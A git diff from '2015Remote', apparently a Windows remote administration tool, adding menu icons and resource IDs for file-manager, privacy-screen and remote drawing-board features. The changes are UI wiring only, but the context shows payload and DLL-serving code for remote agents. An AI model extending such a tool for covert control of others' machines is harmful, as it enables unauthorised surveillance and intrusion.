diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index aaa1897..2c4840d 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 4de172b..013e4ea 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -671,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动 m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口 m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启 + m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理 + m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕 + m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板 for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; m_ServerBin[i] = nullptr; @@ -4364,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]); Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]); Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]); + Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]); + Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]); + Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 31561fc..99ff8f0 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -432,7 +432,7 @@ public: bool IsDllRequestLimited(const std::string& ip); void RecordDllRequest(const std::string& ip); CMenu m_MainMenu; - CBitmap m_bmOnline[66]; + CBitmap m_bmOnline[69]; uint64_t m_superID; std::map m_RemoteWnds; FileTransformCmd m_CmdList; diff --git a/server/2015Remote/res/Bitmap/DrawingBoard.bmp b/server/2015Remote/res/Bitmap/DrawingBoard.bmp new file mode 100644 index 0000000..bf408d9 Binary files /dev/null and b/server/2015Remote/res/Bitmap/DrawingBoard.bmp differ diff --git a/server/2015Remote/res/Bitmap/FileManager.bmp b/server/2015Remote/res/Bitmap/FileManager.bmp new file mode 100644 index 0000000..ac2fd53 Binary files /dev/null and b/server/2015Remote/res/Bitmap/FileManager.bmp differ diff --git a/server/2015Remote/res/Bitmap/PrivacyShield.bmp b/server/2015Remote/res/Bitmap/PrivacyShield.bmp new file mode 100644 index 0000000..318b3f8 Binary files /dev/null and b/server/2015Remote/res/Bitmap/PrivacyShield.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index abf24e1..bba7e5a 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -284,6 +284,9 @@ #define IDB_BITMAP_HISTORY_ACTIVITY 398 #define IDB_BITMAP_VIEW_WND 399 #define IDB_BITMAP_PROXY_AUTORUN 400 +#define IDB_BITMAP_FILE_MANAGER 407 +#define IDB_BITMAP_PRIVACY_SHIELD 408 +#define IDB_BITMAP_DRAWING_BOARD 409 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -1078,7 +1081,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 407 +#define _APS_NEXT_RESOURCE_VALUE 410 #define _APS_NEXT_COMMAND_VALUE 33093 #define _APS_NEXT_CONTROL_VALUE 2593 #define _APS_NEXT_SYMED_VALUE 105